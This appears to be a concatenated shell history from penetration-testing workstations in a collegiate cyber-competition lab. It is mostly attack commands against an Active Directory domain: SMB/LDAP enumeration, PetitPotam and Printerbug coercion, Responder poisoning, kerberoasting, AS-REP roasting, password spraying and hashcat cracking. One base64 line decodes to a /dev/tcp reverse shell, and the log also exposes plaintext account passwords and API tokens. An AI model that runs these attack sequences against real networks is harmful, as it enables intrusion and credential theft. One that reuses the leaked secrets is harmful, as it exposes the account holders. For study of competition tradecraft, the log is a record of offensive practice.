lookupsid.py DECKHAND-01/guest -no-pass
lookupsid.py DECKHAND-01\guest -no-pass
lookupsid.py DECKHAND-01\guest -targer-ip 10.0.1.20 -no-pass
lookupsid.py DECKHAND-01\guest -target-ip 10.0.1.20 -no-pass
lookupsid.py DECKHAND-01\guest -target-ip 10.0.1.20 1000
lookupsid.py DECKHAND-01/guest -target-ip 10.0.1.20 1000
lookupsid.py DECKHAND-01/guest -target-ip 10.0.1.20 -no-pass 1000
c;ear
clear
cat /etc/hosts
nxc smb 10.0.1.6 -u '' -p '' --pass-pol
nxc smb 10.0.1.6 -u '' -p '' --sharea
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u 'a' -p '' --shares
nxc smb 10.0.1.6 -u '' -p '' --shares -k
nxc ldap 10.0.1.20 -u 'guest' -p ''
nxc ldap 10.0.1.6 -u 'guest' -p ''
nxc ldap 10.0.1.6 -u '' -p ''
clear
cat Princess-Sumaya-University-for-Technology/ad.sh| grep blood
cat Princess-Sumaya-University-for-Technology/ad.sh| grep -i bloodhoind
cat Princess-Sumaya-University-for-Technology/ad.sh| grep -i bloodhound
bloodhound --no-sandbox
sudo vim /etc/bhapi/bhapi.json
clear
bloodhound --no-sandbox
clear
sudo neo4j start
sudo bloodhound --no-sandbox
sudo neo4j stop
sudo neo4j start
sudo bloodhound --no-sandbox
sudo vim /etc/bhapi/bhapi.json
clear
sudo bloodhound --no-sandbox
clear
cd Princess-Sumaya-University-for-Technology
ls
..
cd dropzone
ls
..
cd Princess-Sumaya-University-for-Technology/extras
ks
ls
..
ls
clear
ll
ls notes
ls Useful\ Tools
cd Useful\ Tools
cd linWinPwn
ls
clear
chmpd +x install.sh
chmod +x install.sh
./install.sh
clear
exit


_raw:
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*"
cat /etc/hosts


_raw:
nxc smb hosts.txt -u '' -p '' -M coerce_plus -o M=Petitpotam L=10.0.254.202 ALWAYS=true
nxc smb hosts.txt -u '' -p '' -M coerce_plus
nxc smb hosts.txt -u '' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true
nxc smb 10.0.1.20 -u '' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true
ping DECKHAND-02
nxc smb 10.0.1.20 -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true
StoreHostname
nxc smb 10.0.1.20 -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true
nxc smb 10.0.1.21 -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true
nxc smb 10.0.1.6 -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true
nxc smb hosts.txt -u 'Guest' -p '' -M coerce_plus -o M=Printerbug L=10.0.254.202 ALWAYS=true
nano acchashes.txt
cat acchashes.txt
hashcat -m 5600 acchashes.txt /usr/share/wordlists/rockyou.txt.gz
gzip -d /usr/share/wordlists/rockyou.txt.gz
sudo gzip -d /usr/share/wordlists/rockyou.txt.gz
hashcat -m 5600 acchashes.txt /usr/share/wordlists/rockyou.txt.gz
hashcat -m 5600 acchashes.txt /usr/share/wordlists/rockyou.txt


_raw: : 1767982145:0;cat out-users | awk '{print $5}' > all-ad-users


_raw: : 1767982047:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --users > out-users


_raw: : 1767981928:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --users


_raw: : 1767981923:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --share


_raw: : 1767981886:0;java -jar JS2PDFInjector.jar


_raw: : 1767981833:0;java -jar JS2PDFInjector.jar dummy.pdf test.js


_raw: : 1767981830:0;chmod +x JS2PDFInjector-1.0.jar


_raw: : 1767981818:0;java -jar JS2PDFInjector.jar dummy.pdf test.js


_raw: : 1767981796:0;git clone https://github.com/cornerpirate/JS2PDFInjector


_raw: : 1767981786:0;git clone [200~https://github.com/cornerpirate/JS2PDFInjector~


_raw:
mysql -u boatgpt -p -h 10.0.1.99:3306
mysql -u boatgpt -p -h 10.0.1.99
mysql -u boatgpt -p ssl-verify-server-cert = off-h 10.0.1.99
mysql -u boatgpt -p ssl-verify-server-cert = off -h 10.0.1.99
mysql -u boatgpt -p -h 10.0.1.99 --skip-ssl-verify-server-cert
mysql -u boatgps -p -h 10.0.1.99 --skip-ssl-verify-server-cert
mysql -u boatgps -h 10.0.1.99 -P 3306 -p --skip-ssl-verify-server-cert
mysql -u boatgps@10.0.1.99 -h 10.0.1.99 -P 3306 -p --skip-ssl-verify-server-cert
mysql -u boatgps -h 10.0.1.99 -P 3306 -p --skip-ssl-verify-server-cert


_raw:
sudo nmap -PE -PP -PS22,80,135,443,445,3389,5985 -sV -oX network-X.xml 10.0.1.0/24
sudo nmap -p- -Pn -sC -sV -O -oX 10.0.1.11.xml 10.0.1.11
curl -fsSL https://claude.ai/install.sh | bash
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="[200~
export ANTHROPIC_AUTH_TOKEN="	\
sk-cptc-team10-key5-836f8e08-9413-47e1-9be9-b61147399a51"
claude-code -- version
bash


_raw: : 1767981469:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --shares


_raw: : 1767981467:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' --share


_raw: : 1767981435:0;nxc smb 10.0.1.6 -u 'SVC_STABILIZE' -p '1gyroscope' -M coerce_plus


_raw: : 1767981317:0;msfvenom -p windows/browser/pdfjs_poppler -f pdf > out.pdf


_raw: : 1767981222:0;hashcat -m 900 hash.txt --wordlist /usr/share/wordlists/rockyou.txt


_raw: : 1767981197:0;hashcat -m 900 \hash.txt --wordlist /usr/share/wordlists/rockyou.txt


_raw: : 1767981188:0;hashcat  hash.txt --wordlist /usr/share/wordlists/rockyou.txt


_raw: : 1767981160:0;hashcat -m 1000 hash.txt --wordlist /usr/share/wordlists/rockyou.txt


_raw: : 1767981153:0;hashcat  hash.txt --wordlist /usr/share/wordlists/rockyou.txt


_raw: : 1767981139:0;hashcat -m 0 hash.txt --wordlist /usr/share/wordlists/rockyou.txt


_raw: : 1767981126:0;hashcat -m 0 hash.txt -w /usr/share/wordlists/rockyou.txt


_raw:
nmap -sVC -p 9000 10.0.1.10
hydra --help
hydra
cd ../../usr/share
cd wordlists
gz rockyou.txt.gz
gzip rockyou.txt.gz
ls
unzip rockyou.txt.gz
ls
gzip -d rockyou.txt.gz
sudo gzip -d rockyou.txt.gz
ls
cd
clear


_raw: : 1767980957:0;mv Lorem_ipsum.pdf xss.pdf


_raw:
ifconfig
ssh root@10.0.25.201
sudo su
ssh pentester@10.0.25.201
ssh pentester@10.0.254.201
ssh root@10.0.254.201
clear
exit


_raw: : 1767980620:0;pip install . --break-system-packages


_raw: : 1767980603:0;git clone https://github.com/devanshbatham/paramspider


_raw: : 1767980535:0;hashcat hash.txt -m 0 /usr/share/wordlists/rockyou.txt


_raw: : 1767980525:0;hashcat hash.txt /usr/share/wordlists/rockyou.txt


_raw: : 1767979507:0;ldapsearch -x -H ldap://apt-dc-01.allports.tours -b "" -s base namingContexts


_raw: : 1767979501:0;ldapsearch -x -H ldap ://apt-dc-01.allports.tours -b "" -s base namingContexts


_raw:
source ~/.zshrc
nxc smb 10.0.1.0/24 --generate-hosts-file
nxc smb 10.0.1.0/24 --generate-hosts-file ~/hosts-file.txt
netexec smb 10.0.1.6 --generate-krb5-file ~/krb5.conf
export KRB5_CONFIG=~/krb5.conf
nxc smb 10.0.1.6 -u '' -p '' -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -M nopac
nxc smb 10.0.1.6 -u '' -p '' -M printnightmare
nxc smb 10.0.1.0/24 -M smbghost
nxc smb 10.0.1.0/24 -M ntlm_reflection
nxc smb 10.0.1.0/24 -M ntlm_reflection -u '' -p ''
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' -M ntlm_reflection
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o 10.0.254.204
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o LISTENER=10.0.254.204
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus -o LISTENER=10.0.254.204 ALWAYS=true
nxc smb 10.10.10.161 -u '' -p ''\
nxc smb 10.10.10.161 -u '' -p '' --shares\
nxc smb 10.10.10.161 -u '' -p '' --pass-pol\
nxc smb 10.10.10.161 -u '' -p '' --users\
nxc smb 10.10.10.161 -u '' -p '' --groups
nxc smb 10.0.1.6 -u '' -p ''\
nxc smb 10.0.1.6 -u '' -p '' --shares\
nxc smb 10.0.1.6 -u '' -p '' --pass-pol\
nxc smb 10.0.1.6 -u '' -p '' --users\
nxc smb 10.0.1.6 -u '' -p '' --groups
nxc smb 10.0.1.6 -u 'a' -p ''\
nxc smb 10.0.1.6 -u 'a' -p '' --shares\
nxc smb 10.0.1.6 -u 'a' -p '' --pass-pol\
nxc smb 10.0.1.6 -u 'a' -p '' --users\
nxc smb 10.0.1.6 -u 'a' -p '' --groups
nxc smb 10.0.1.6 -u 'a' -p '' -M coerce_plus -o LISTENER=10.0.254.204
nxc smb 10.0.1.0/24 --gen-relay-list relay_list.txt
nxc smb 192.168.1.0/24 -u a -p '' --rid-brute
nxc ldap 10.0.1.6 -u harry -p pass --kerberoasting output.txt
nxc ldap 10.0.1.6 -u 'guest' -p '' --kerberoasting output.txt
nc 10.0.1.0:9000
nc 10.0.1.0 9000
nc 10.0.1.10 9000
c;ear
clear
smbmap -u '' -p '' -P 445 -H 10.0.1.6
smbmap -u 'guest' -p '' -P 445 -H 10.0.1.6
nmap -n -sV --script "ldap* and not brute" -p 389 10.0.1.6
nxc smb 10.0.1.0/24 -M smbghost
rip addr
ip addr


_raw: : 1767979102:0;cloud-init clean --machine-id -l -s


_raw: : 1767979102:0;apt install qemu-guest-agent


_raw: : 1767979102:0;apt install python3-pip python3-venv curl htop


_raw: : 1767979102:0;apt install openssh-server


_raw: : 1767979102:0;sudo apt install dphys-swapfile


_raw: : 1767979102:0;apt install systemd-zram-generator zram-tools


_raw: : 1767978887:0;bloodyAD -u 'Guest' -p '' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: : 1767978852:0;bloodyAD -u '' -p '' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: : 1767978848:0;bloodyAD -u '' -p'' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: : 1767978838:0;bloodyAD -u '' -p '' -d allports.local --host 10.0.1.6 get search --base 'CN=Configuration,DC=allports,DC=local' --filter '(cn=Directory Service)' --attr dSHeuristics


_raw: : 1767978794:0;sudo apt install openjdk-21-jdk


_raw: : 1767978735:0;apt-get install temurin-21-jdk


_raw:
ls
cat password.txt
nc http://10.0.1.10:6768/
sudo su
cat [as
cat password.txt
sudo su


_raw:
unzip cptc-ai-example.zip
cd cptc-ai-example
ls
python -m venv ai_venv
ls
rm ai_venv
rmdir ai_venv
rm -r ai_venv
uv sync
curl -LsSf https://astral.sh/uv/install.sh | sh
uv sync
cp config.yaml.example config.yaml
nano config.yaml
uv run main.py
ls
cd ..
ls
curl -fsSL https://claude.ai/install.sh | bash
claude
curl -fsSL https://claude.ai/install.sh | bash
claude


_raw: : 1767978512:0;nxc ldap apt-dc-01.allports.local  -u 'doesnotexit' -p '' --groups


_raw: : 1767978487:0;nxc smb workstations  -u 'Guest' -p '' --users --local-auth


_raw: : 1767978481:0;nxc smb workstations  -u 'Guest' -p '' --users


_raw: : 1767978451:0;nxc ldap apt-dc-01.allports.local  -u 'Guest' -p '' --users


_raw: : 1767978439:0;nxc ldap apt-dc-01.allports.local  -u '' -p '' --groups


_raw: : 1767978429:0;nxc ldap apt-dc-01.allports.local  -u '' -p '' --users


_raw: : 1767978403:0;gradle -I gradle/support/fetchDependencies.gradle


_raw:
git clone https://github.com/danny-avila/LibreChat.git
cd LibreChat
cp .env.example .env
docker compose up -d
sudo apt install podman-docker
docker compose up -d
sudo systemctl start docker
sudo systemctl start podman
sudo systemctl start podman.sock
sudo systemctl start docker
podman start
sudo apt remove podman-docker
sudo apt install docker-cli
sudo systemctl start docker
docker compose up -d
sudo systemctl start docker.sock
docker-compose
docker-compose up
sudo docker-compose up
ls
sudo docker-compose up
ls
sudo docker-compose up


_raw:
sudo systemctl start docker
sudo systemctl start docker.socket
sudo apt install docker


_raw:
sudo vim .bashrc
cd
sudo vim .bashrc
cd Documents
ls
cd
ls
cd LibreChat
ls
cd config
ls
cd ..
ls
env
vim .env


_raw: : 1767978112:0;base64 -d c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjAzLzQ0NDQgMD4mMQo


_raw: : 1767978110:0;base64 -d echo c2ggLWkgPiYgL2Rldi90Y3AvMTAuMC4yNTQuMjAzLzQ0NDQgMD4mMQo


_raw: : 1767977992:0;docker compose -f production.yml up


_raw: : 1767977983:0;docker compose -f production.yml up


_raw: : 1767977982:0;curl -fsSL https://claude.ai/install.sh | bash


_raw: : 1767977960:0;docker compose -f production.yml up


_raw: : 1767977877:0;docker compose -f production.yml up


_raw: : 1767977862:0;docker compose -f local.yml down


_raw: : 1767977860:0;docker compose -f local.yml down -d


_raw: : 1767977812:0;nxc smb apt-dc-01.allports.local -u 'Guest' -p '' --shares


_raw: : 1767977807:0;nxc smb apt-dc-01.allports.local -u '' -p '' --shares


_raw: : 1767977804:0;nxc smb apt-dc-01.allports.local -u '' -p '' --rid-brute


_raw: : 1767977801:0;nxc smb apt-dc-01.allports.local -u '' -p ''


_raw: : 1767977798:0;nxc smb apt-dc-01.allports.local -u '' -p '' -k


_raw:
git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git finals 5
git clone https://github.com/nationalcptc-teamtools/University-of-California-Irvine.git
ls
cat password.txt
mv University-of-California-Irvine finals5
cd finals
cd finals5
ls
cd scripts
ls
bash tmuxSetup.sh
ls
bash install.sh
sudo su


_raw: : 1767977709:0;nxc smb deckhand-02.allports.local -u svc_stabilize -p 'Sails@way!'


_raw:
responder -I eth0 -wv
sudo responder -I eth0 -wv


_raw:
ls
clear
ls
cat psasword
ls
sudo apt update
cat password.txt
su
nxc smb -L
nxc smb 10.0.1.0/24
nxc smb -u 'lpeterson'  -p 'Sails@way!'
nxc smb -u 10.0.1.0/24 'lpeterson'  -p 'Sails@way!'
nxc smb 10.0.1.0/24 -u  'lpeterson'  -p 'Sails@way!'
nxc smb 10.0.1.0/24 -u  ''  -p ''
nxc smb 10.0.1.0/24 -u  ''  -p '' --shares
nxc smb 10.0.1.0/24 -u  'a'  -p '' --shares
nxc smb 10.0.1.0/24 -u  'Guest'  -p '' --shares
nxc smb 10.0.1.0/24 -u  'Guest'  -p '' --shares -M spider_plus
cat /home/pentester/.nxc/modules/nxc_spider_plus/10.0.1.20.json
cat /home/pentester/.nxc/modules/nxc_spider_plus/10.0.1.21.json
nxc smb 10.0.1.0/24 -u  'Guest'  -p '' -L
nxc smb 10.0.1.0/24 -u  'Guest'  -p '' -M printnightmare
clear
nxc ldap 10.0.1.0/24 -u '' -p '' --asreproast output.txt
nxc ldap 10.0.1.0/24 -u 'Guest' -p '' --asreproast output.txt
impacket-GetNPUsers
clear
ls
aliasr
nxc ldap 10.0.1.6 -u 'Guest' -p '' --users | tee /dev/tty | awk '/-Username-/{p=1; next} p && /^LDAP/{print $5}' > users.txt
nxc ldap 10.0.1.6 -u 'a' -p '' --users | tee /dev/tty | awk '/-Username-/{p=1; next} p && /^LDAP/{print $5}' > users.txt
nxc ldap 10.0.1.6 -u '' -p '' --users | tee /dev/tty | awk '/-Username-/{p=1; next} p && /^LDAP/{print $5}' > users.txt
nxc ldap 10.0.1.6 -u '' -p '' --users
nxc ldap 10.0.1.6 -u '' -p '' --users -h
kerberute
ifconfig
cp Downloads/kerbrute_linux_386 .
./kerbrute_linux_386
sudo ./kerbrute_linux_386
su root
./kerbrute_linux_386
clar
nxc smb 10.0.1.0/24 -u  'Guest'  -p '' --generate-hosts-file hosts.txt
cat password.txt
su root
aliasr
clear
ls
clear
alisar
tmux
./kerbrute_linux_386
clear
cp Downloads/kerbrute_linux_386 .
clear
aliasr
kerbrute userenum -d allports.local --dc 10.0.1.6 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 100 --safe
./kerbrute_linux_386 userenum -d allports.local --dc 10.0.1.6 /usr/share/wordlists/seclists/Usernames/xato-net-10-million-usernames.txt -t 100 --safe
python -m http.server
clear
nxc smb 10.0.1.0/24 -u  'Guest'  -p ''


_raw: : 1767977617:0;nxc smb deckhand-02.allports.local -u druiz -p 'Sails@way!'


_raw: : 1767977602:0;nxc smb apt-dc-01.allports.local -u d.ruiz -p 'Sails@way!' -k


_raw: : 1767977574:0;nxc smb deckhand-02.allports.local -u druiz -p 'Sails@way!' -k


_raw: hydra -l admin -P ../../usr/share/wordlists/rockyou.txt telnet://10.0.1.10:9000


_raw:
enum4linux-ng -a 10.0.1.6
enum4linux -a 10.0.1.6


_raw:
sudo responder -I eth0
clear
sudo responder -I eth0 -wF
clear
reminna
remmina


_raw: : 1767977106:0;git clone https://github.com/brightio/penelope


_raw: : 1767977069:0;nxc smb deckhand-02.allports.local -u d.ruiz -p 'Sails@way!' -k


_raw: : 1767977056:0;nxc smb apt-dc-01.allports.local -u d.ruiz -p 'Sails@way!'


_raw: : 1767977032:0;nxc smb apt-dc-01.allports.local -u test -p ''


_raw:
ls
cd Downloads
ls
tar zxf postman-linux-x64.tar.gz
ls


_raw:
claude
claude --dangerously-skip-permissions
exit


_raw: : 1767976952:0;docker compose -f production.yml up -d


_raw:
clear
ls
clear
cat password.txt
clear
curl -fsSL https://claude.ai/install.sh | bash
ls
cd Documents
ls
cd ..
ls
cd Downloads
ls
cat example
clear
ls
file example
unzip cptc-ai-example.zip
cd cptc-ai-example
ls
clear
uv
curl -LsSf https://astral.sh/uv/install.sh | sh
uv sync
ls
clear
cp config.yaml.example config.yaml\
cp config.yaml.example config.yaml
vim config.yaml
ifconfig
clear
vim config.yaml
clear
ls
clear
uv run main.py
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key4-350234dd-0780-4ee1-9b76-dc8f4ada9c83"
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"'>> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key4-350234dd-0780-4ee1-9b76-dc8f4ada9c83"' >~/.bashrc
cat ~/.bashrc
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"'>> ~/.bashrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key4-350234dd-0780-4ee1-9b76-dc8f4ada9c83"' >>~/.bashrc
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"'>> ~/.zshrc
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team1-key4-350234dd-0780-4ee1-9b76-dc8f4ada9c83"' >>~/.zshrc
exit


_raw: : 1767976911:0;grep POSTGRES production.yml


_raw:
telnet 10.0.1.10 9091
gobuster dir -u chat.allports.tours -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u 10.0.1.14 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
gobuster dir -u 10.0.1.99:8080 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
clear
hashcat -m 1600 hash.txt -w /usr/share/wordlists/rockyou.txt
hashcat -m1600 hash.txt -w /usr/share/wordlists/rockyou.txt
hashcat -m 1600 hash.txt /usr/share/wordlists/rockyou.txt


_raw:
git clone https://github.com/nationalcptc-teamtools/Cal-Poly-Pomona
ls
cat password.txt
cd Cal-Poly-Pomona
ls
cd tools
ls
chmod +x tools.sh
./tools.sh
ls
cd ..
ls
chmod +x lebron.sh
./lebron.sh
tmux


_raw: : 1767976795:0;docker compose -f production.yml up -d


_raw: : 1767976446:0;curl -s https://login.microsoftonline.com/croissantcruises.live/v2.0/.well-known/openid-configuration | jq -r '.issuer' | cut -d '/' -f4


_raw: : 1767976443:0;go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest


_raw:
nmap -sn 10.0.1.0/24
nmap -sC -sV -A 10.0.1.99 -p-
nmap -sC -sV -A 10.0.1.254 -p-
nmap -sC -sV -A 10.0.1.30 -p-
nmap -sC -sV -A 10.0.1.21 -p-
nmap -sC -sV -A 10.0.1.14 -p-
nmap -sC -sV -A 10.0.1.13 -p-
nmap -sC -sV -A 10.0.1.10 -p-
nxc smb 10.0.1.6
nxc smb 10.0.1.20
nxc smb 10.0.1.21
nxc -help
nxc smb 10.0.1.6 -u "a" -p ""
nxc smb 10.0.1.20 -u "a" -p ""
nxc smb 10.0.1.21 -u "a" -p ""
nxc smb 10.0.1.21 -u "guest" -p ""
nxc smb 10.0.1.6 -u '' -p ''
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u 'a' -p '' --shares
nxc smb 10.0.1.21 -u 'a' -p '' --shares
nxc smb 10.0.1.21 -u 'Administrator' -p '' --shares
nxc smb 10.0.1.20 -u 'Administrator' -p '' --shares
nxc smb 10.0.1.20 -u '' -p '' --shares
msfconsole
clear
mysql 10.0.99
mysql 10.0.1.99
mysql -u root -h 10.0.1.99
mysql -u root -h 10.0.1.99 -p
mysql -u root -h 10.0.1.99 --ssl-mode=DISABLED -p
mysql -u root -h 10.0.1.99 --skip-ssl -p
mysql -u admin -h 10.0.1.99 --skip-ssl -p
mysql -u mysql -h 10.0.1.99 --skip-ssl -p
msfconsole
mysql -u captain -h 10.0.1.99 --skip-ssl -p
mysql -u dbuser -h 10.0.1.99 --skip-ssl -p
mysql -u boatgps -h 10.0.1.99 --skip-ssl -p
mysql -u boatgps -h 10.0.1.13 --skip-ssl -p
msfconsole


_raw:
sudo apt update
sudo apt install docker
sudo apt-get intsall docker
clear
sudo apt-get install docker
clear
sudo true
sudo sh -c 'echo "127.0.1.1 cptc11-finals-t4-vdi-kali03" >> /etc/hosts'\
sudo true\
sudo apt update\
clear
sudo apt install docker.io
sudo apt full-upgrade
sudo apt install -y moby-engine moby-cli\
sudo systemctl enable docker --now\
sudo usermod -aG docker pentester\
newgrp docker\
ls
clear
export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"\
export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key1-9ea715f1-acbe-40cc-a084-8ea49dfa08cf"
claude
clear
ls
cd awesome-claude-code-subagents
ls
mkdir ~/.claude/agents/
ls
cd categories
ls
cd 04-quality-security
ls
mv * ~/.claude/agents
clear
cd ..
ls
cd 09-meta-orchestration
ls
mv * ~/.claude/agents
cd ..
cd 10-research-analysis
ls
mv search-specialist.md ~/.claude/agents
cd ..
ls
clear
ls
cd 03-infrastructure
ls
cd ..
cd 02-language-specialists
ls
mv powershell-7-expert.md ~/.claude/agents
mv python-pro.md ~/.claude/agents
cd ..
ls
clear
cd 03-infrastructure
ls
mv azure-infra-engineer.md ~/.claude/agents
mv devops-incident-responder.md ~/.claude/agents
mv kubernetes-specialist.md ~/.claude/agents
mv security-engineer.md ~/.claude/agents
mv windows-infra-admin.md ~/.claude/agents
mv incident-responder.md ~/.claude/agents
ls
mv sre-engineer.md ~/.claude/agents
cd ..
ls
clear
ls
cd 08-business-product
ls
mv legal-advisor.md ~/.claude/agents
cat technical-writer.md
clear
ls
cd ..
ls
cd 05-data-ai
ls
mv llm-architect.md ~/.claude/agents
mv ai-engineer.md ~/.claude/agents
cd ..
cd ~/.claude/agents
ls
clear
ls
claude
exit


_raw: : 1767976329:0;curl -s https://login.microsoftonline.com/allports.tours/v2.0/.well-known/openid-configuration | jq -r '.issuer' | cut -d '/' -f4


_raw: : 1767976319:0;curl -s https://login.microsoft.online.com/allportstours/v2.0/.well-known/openid-configuration | jq -r '.issuer' | cut -d '/' -f4


_raw: : 1767976315:0;curl -s https://login.microsoft.online.com/allports.tours/v2.0/.well-known/openid-configuration | jq -r '.issuer' | cut -d '/' -f4


_raw: : 1767976156:0;nxc ldap apt-dc-01.allports.local  -u 'bfinn' -p '' --asreproast asrep.roast


_raw: : 1767976065:0;nxc ldap apt-dc-01.allports.local  -u 'bfinn' -p '@nchor2024' -h


_raw: : 1767976063:0;nxc ldap apt-dc-01.allports.local  -u 'bfinn' -p '@nchor2024'


_raw: : 1767975987:0;docker compose -f local.yml up -d


_raw:
: 1767975931:0;while IFS= read -r line; do\
  echo "$line" | base64\
done < combined.txt > base64_combined.txt


_raw:
cat users
users_enumera
cat users_enumerated.txt
exit


_raw: : 1767975872:0;cat combined.txt | base64 > base64_combined.txt\


_raw: : 1767975863:0;paste -d: users  passwords > combined.txt\


_raw:
cd ..
cd P
cd Princess-Sumaya-University-for-Technology
cat ad.sh| grep -i net
pipx install git+https://github.com/Pennyw0rth/NetExec\
netexec
clear
nxc
clear
cd ../Desktop
echo "10.0.1.6 allports.local" | sudo tee -a /etc/hosts
nxc smb 10.0.1.6 -u '' -p '' --shares
nxc smb 10.0.1.6 -u 'guest' -p '' --shares
nxc smb 10.0.1.6 -u 'guest' -p '' --shares -k
nxc smb 10.0.1.6 -u 'administrator' -p '' --shares -k
nxc smb 10.0.1.6 -u 'administrator' -p '' --shares
nxc smb 10.0.1.6 -u 'guest' -p '' --shares --local-auth
nxc smb 10.0.1.6 -u '' -p '' -M zerologon
nxc smb 10.0.1.6 -u '' -p '' -M ms17-010
curl -fsSL https://claude.ai/install.sh | bash
nxc smb 10.0.1.6 -u '' -p '' -M coerce_plus
nxc ldap 10.0.1.6 -u '' -p ''
ldapsearch -h 10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength
ldapsearch -H 10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*" | grep -m1 -B 10 pwdHistoryLength
ldapsearch -H ldap://10.0.1.6 -x -b "DC=allports,DC=local" -s sub "*"
kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt
kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt --help
kerbrute userenum -d allports.local --dc APT-DC-01.allports.local ~/Downloads/jsmith.txt -o users-kerb
open users-kerb
subl users-kerb
nxc smb 10.0.1.6 -u users-kerb -p users-kerb --no-bruteforce --continue-on-success
impacket-GetNPUsers allports.local/ -dc-ip 10.0.1.6 -usersfile users-kerb -format hashcat -outputfile hashes.txt
sudo -E wireshark
nxc smb 10.0.1.20 -u '' -p '' --shares
nxc smb 10.0.1.20 -u 'guest' -p '' --shares
nxc smb 10.0.1.20 -u 'guest' -p '' --shares --pass-pol
impacket-lookupsid 'allports.local/guest:'@10.0.1.20 -no-pass
nxc smb 10.0.1.20 -u '' -p '' -M coerce_plus
nxc smb 10.0.1.20 -u '' -p '' -M ms17-010
nmap -sc -sV -p- \10.0.1.20
nmap -sc -sV -p- 10.0.1.20
nmap -sC -sV -p- 10.0.1.20
nxc smb 10.0.1.21 -u 'guest' -p '' --shares
nxc smb 10.0.1.21 -u '' -p '' --shares
nxc smb 10.0.1.21 -u 'administrator' -p '' --local-auth
nxc smb 10.0.1.21 -u '' -p '' -M ms17-010
nxc smb 10.0.1.21 -u '' -p '' -M coerce_plus
nmap -sC -sV -p- 10.0.1.21
nxc smb 10.0.1.21 -u '' -p '' -M smbghost
nxc smb 10.0.1.21 -u '' -p '' -M printnightmare
nxc smb 10.0.1.20 -u '' -p '' -M smbghost
nxc smb 10.0.1.6 -u '' -p '' -M smbghost
sudo responder -I eth0 -A
sudo responder -I eth0 -
sudo responder -I eth0
nxc smb 10.0.1.20 -u 'guest' -p '' --shares
nxc smb 10.0.1.20 -u 'guest' -p '' --users
nxc smb 10.0.1.20 -u 'guest' -p '' -M spider_plus --share IPC$
cat /home/pentester/.nxc/modules/nxc_spider_plus/10.0.1.20.json
claude


_raw:
docker ps
clear
curl -sSL https://strix.ai/install | bash\
export STRIX_LLM='ai.cyberrange.rit.edu'
export LLM_API_KEY='sk-cptc-team4-key1-9ea715f1-acbe-40cc-a084-8ea49dfa08cf'
strix --target https://10.0.1.13
clear
export STRIX_LLM="anthropic/claude-sonnet-4-5-20250929"\
strix --target https://10.0.1.13
clear
curl -fsSL https://claude.ai/install.sh | bash
claude --hep
clear
claude --help
clear
ls
claude --help
clear
export STRIX_LLM='ai.cyberrange.rit.edu'
strix --target https://10.0.1.13
clear
ls
claude --help
clear
ls
claude --help
clear
git clone https://github.com/VoltAgent/awesome-claude-code-subagents.git
ls
cd awesome-claude-code-subagents
ls
clear
ls
cd categories
ls
cd ..
ls
clear
ls
cd categories
ls
clear
ls
cd 01-core-development
ls
cd ..
ls
rm 01-core-development
rm -rf 01-core-development
ls
clear
ls
claude --help
clear
claude setup-token
clear
claude-code
clear
echo 'export ANTHROPIC_BASE_URL="https://ai.cyberrange.rit.edu"' >> ~/.bashrc\
echo 'export ANTHROPIC_AUTH_TOKEN="sk-cptc-team4-key1-9ea715f1-acbe-40cc-a084-8ea49dfa08cf"' >> ~/.bashrc\
